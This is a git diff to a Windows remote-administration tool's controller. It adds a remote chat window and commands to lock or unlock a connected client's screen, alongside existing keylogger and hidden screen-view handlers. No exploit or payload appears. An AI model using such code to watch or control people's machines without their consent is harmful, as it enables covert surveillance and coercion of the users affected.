diff --git a/2019Remote.sln b/2019Remote.sln index 31f139c..07f2fbb 100644 --- a/2019Remote.sln +++ b/2019Remote.sln @@ -15,6 +15,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution ProjectSection(SolutionItems) = preProject history.md = history.md ReadMe.md = ReadMe.md + ReadMe_EN.md = ReadMe_EN.md 使用方法.txt = 使用方法.txt 使用花生壳.txt = 使用花生壳.txt EndProjectSection diff --git a/common/commands.h b/common/commands.h index e81d83e..475f71a 100644 --- a/common/commands.h +++ b/common/commands.h @@ -164,6 +164,7 @@ enum COMMAND_SHARE = 59, // ·ÖÏíÖ÷»ú COMMAND_PROXY = 60, // ´úÀíÓ³Éä TOKEN_SYSINFOLIST = 61, // Ö÷»ú¹ÜÀí + TOKEN_CHAT_START = 62, // Ô¶³Ì½»Ì¸ // ·þÎñ¶Ë·¢³öµÄ±êʶ TOKEN_AUTH = 100, // ÒªÇóÑéÖ¤ @@ -351,6 +352,14 @@ struct WINDOWSINFO { int h; }; +// Ô¶³Ì½»Ì¸ +enum ChatManager { + COMMAND_NEXT_CHAT, + COMMAND_CHAT_CLOSE, + COMMAND_CHAT_SCREEN_LOCK, + COMMAND_CHAT_SCREEN_UNLOCK, +}; + enum { CLIENT_TYPE_DLL = 0, // ¿Í»§¶Ë´úÂëÒÔDLLÔËÐÐ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index debc7f8..3b68806 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 8211b13..d635803 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -33,6 +33,7 @@ #include #include "HideScreenSpyDlg.h" #include +#include "Chat.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -354,6 +355,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog) ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog) ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog) + ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) @@ -1567,6 +1569,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) Dlg->OnReceiveComplete(); break; } + case CHAT_DLG: { + CChat* Dlg = (CChat*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } default: { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (hEvent == NULL) { @@ -1665,6 +1672,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject); break; } + case TOKEN_CHAT_START: { // 远程交谈 + g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject); + break; + } case TOKEN_KEYBOARD_START: {// 键盘记录 g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); break; @@ -1888,6 +1899,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) delete Dlg; break; } + case CHAT_DLG: + { + CChat* Dlg = (CChat*)p->hDlg; + delete Dlg; + break; + } default:break; } delete p; @@ -2182,6 +2199,21 @@ LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lPara return 0; } +LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + + CChat* Dlg = new CChat(this, m_iocpServer, ContextObject); + + Dlg->Create(IDD_CHAT, GetDesktopWindow()); + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = CHAT_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) { MessageBox("Copyleft (c) FTU 2025", "关于"); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index ee553dd..89161b0 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -225,6 +225,7 @@ public: afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 4173f6e..36cc6f3 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -255,6 +255,7 @@ + @@ -306,6 +307,7 @@ + @@ -354,11 +356,16 @@ + + + + + diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp new file mode 100644 index 0000000..b579e2d --- /dev/null +++ b/server/2015Remote/Chat.cpp @@ -0,0 +1,180 @@ +// Chat.cpp : implementation file +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "Chat.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +///////////////////////////////////////////////////////////////////////////// +// CChat dialog + + +CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) + : DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, 0) +{ + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CHAT)); + m_iocpServer = pIOCPServer; + m_pContext = pContext; + m_bOnClose = FALSE; +} + + +void CChat::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_TIP, m_editTip); + DDX_Control(pDX, IDC_EDIT_NEWMSG, m_editNewMsg); + DDX_Control(pDX, IDC_EDIT_CHATLOG, m_editChatLog); +} + + +BEGIN_MESSAGE_MAP(CChat, CDialog) + ON_BN_CLICKED(IDC_BUTTON_SEND, OnButtonSend) + ON_BN_CLICKED(IDC_BUTTON_END, OnButtonEnd) + ON_WM_CTLCOLOR() + ON_WM_CLOSE() + ON_EN_SETFOCUS(IDC_EDIT_CHATLOG, OnSetfocusEditChatLog) + ON_EN_KILLFOCUS(IDC_EDIT_CHATLOG, OnKillfocusEditChatLog) + ON_BN_CLICKED(IDC_LOCK, &CChat::OnBnClickedButton_LOCK) + ON_BN_CLICKED(IDC_UNLOCK, &CChat::OnBnClickedButton_UNLOCK) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CCHAT message handlers + +BOOL CChat::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CString str; + str.Format(_T("Ô¶³Ì½»Ì¸ - %s"), m_pContext->PeerName.c_str()), + SetWindowText(str); + m_editTip.SetWindowText(_T("Ìáʾ: ¶Ô·½ÁÄÌì¶Ô»°¿òÔÚ·¢ËÍÏûÏ¢ºó²Å»áµ¯³ö")); + m_editNewMsg.SetLimitText(4079); + // TODO: Add extra initialization here + BYTE bToken = COMMAND_NEXT_CHAT; + m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CChat::OnReceive() +{ +} + +void CChat::OnReceiveComplete() +{ + m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1); + char* strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0); + SYSTEMTIME st; + GetLocalTime(&st); + char Text[5120] = { 0 }; + sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("¶Ô·½:"), + st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, strResult); + if (m_editChatLog.GetWindowTextLength() >= 20000) + m_editChatLog.SetWindowText(_T("")); + m_editChatLog.SetSel(-1); + m_editChatLog.ReplaceSel(Text); +} + +void CChat::OnButtonSend() +{ + char str[4096]; + GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str)); + if (_tcscmp(str, _T("")) == 0) { + m_editNewMsg.SetFocus(); + return; // ·¢ËÍÏûϢΪ¿Õ²»´¦Àí + } + m_editTip.ShowWindow(SW_HIDE); + m_iocpServer->Send(m_pContext, (LPBYTE)str, lstrlen(str) + sizeof(char)); + SYSTEMTIME st; + GetLocalTime(&st); + char Text[5120] = { 0 }; + sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("×Ô¼º:"), + st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str); + if (m_editChatLog.GetWindowTextLength() >= 20000) + m_editChatLog.SetWindowText(_T("")); + m_editChatLog.SetSel(-1); + m_editChatLog.ReplaceSel(Text); + m_editNewMsg.SetWindowText(_T("")); + m_editNewMsg.SetFocus(); +} + +void CChat::OnButtonEnd() +{ + SendMessage(WM_CLOSE, 0, 0); +} + +void CChat::OnClose() +{ + m_ContextObject->CancelIO(); + + CDialogBase::OnClose(); +} + +HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) +{ + if (pWnd->GetDlgCtrlID() == IDC_EDIT_CHATLOG && nCtlColor == CTLCOLOR_STATIC) { + COLORREF clr = RGB(0, 0, 0); + pDC->SetTextColor(clr); // ÉèÖúÚÉ«µÄÎı¾ + clr = RGB(255, 255, 255); + pDC->SetBkColor(clr); // ÉèÖð×É«µÄ±³¾° + return CreateSolidBrush(clr); // ×÷ΪԼ¶¨£¬·µ»Ø±³¾°É«¶ÔÓ¦µÄË¢×Ó¾ä±ú + } else if (pWnd == &m_editTip && nCtlColor == CTLCOLOR_EDIT) { + COLORREF clr = RGB(255, 0, 0); + pDC->SetTextColor(clr); // ÉèÖúìÉ«µÄÎı¾ + clr = RGB(220, 220, 0); + pDC->SetBkColor(clr); // ÉèÖûÆÉ«µÄ±³¾° + return CreateSolidBrush(clr); // ×÷ΪԼ¶¨£¬·µ»Ø±³¾°É«¶ÔÓ¦µÄË¢×Ó¾ä±ú + } else { + return CDialog::OnCtlColor(pDC, pWnd, nCtlColor); + } +} + +void CChat::PostNcDestroy() +{ + if (!m_bOnClose) + OnCancel(); + CDialog::PostNcDestroy(); + delete this; +} + +BOOL CChat::PreTranslateMessage(MSG* pMsg) +{ + if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_ESCAPE) { + return true; + } + return CDialog::PreTranslateMessage(pMsg); +} + +void CChat::OnSetfocusEditChatLog() +{ + if (m_editTip.IsWindowVisible()) + m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME); +} + +void CChat::OnKillfocusEditChatLog() +{ + if (m_editTip.IsWindowVisible()) + m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME); +} + +void CChat::OnBnClickedButton_LOCK() +{ + + BYTE bToken = COMMAND_CHAT_SCREEN_LOCK; + m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); +} + +void CChat::OnBnClickedButton_UNLOCK() +{ + BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK; + m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); +} diff --git a/server/2015Remote/Chat.h b/server/2015Remote/Chat.h new file mode 100644 index 0000000..aeaa5cf --- /dev/null +++ b/server/2015Remote/Chat.h @@ -0,0 +1,49 @@ +#pragma once + +#include "stdafx.h" + +///////////////////////////////////////////////////////////////////////////// +// CChat dialog + +class CChat : public DialogBase +{ + // Construction +public: + CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + void OnReceiveComplete(); + void OnReceive(); + + enum { IDD = IDD_CHAT }; + +public: + virtual BOOL PreTranslateMessage(MSG* pMsg); +protected: + virtual void DoDataExchange(CDataExchange* pDX); + virtual void PostNcDestroy(); + virtual void OnClose(); + +// Implementation +protected: + ClientContext* m_pContext; + ISocketBase* m_iocpServer; + + virtual BOOL OnInitDialog(); + afx_msg void OnButtonSend(); + afx_msg void OnButtonEnd(); + + afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor); + afx_msg void OnSetfocusEditChatLog(); + afx_msg void OnKillfocusEditChatLog(); + + DECLARE_MESSAGE_MAP() +private: + HICON m_hIcon; + BOOL m_bOnClose; +public: + CEdit m_editTip; + CEdit m_editNewMsg; + CEdit m_editChatLog; + + afx_msg void OnBnClickedButton_LOCK(); + afx_msg void OnBnClickedButton_UNLOCK(); +}; diff --git a/server/2015Remote/res/chat.ico b/server/2015Remote/res/chat.ico new file mode 100644 index 0000000..7cc0752 Binary files /dev/null and b/server/2015Remote/res/chat.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index cd3cfb6..4223baf 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index c8d0ec2..7db9afa 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -80,6 +80,7 @@ #define WM_OPENPROXYDIALOG WM_USER+3014 #define WM_OPENHIDESCREENDLG WM_USER+3015 #define WM_OPENMACHINEMGRDLG WM_USER+3016 +#define WM_OPENCHATDIALOG WM_USER+3017 enum { @@ -97,6 +98,7 @@ enum PROXY_DLG, HIDESCREEN_DLG, MACHINE_DLG, + CHAT_DLG, };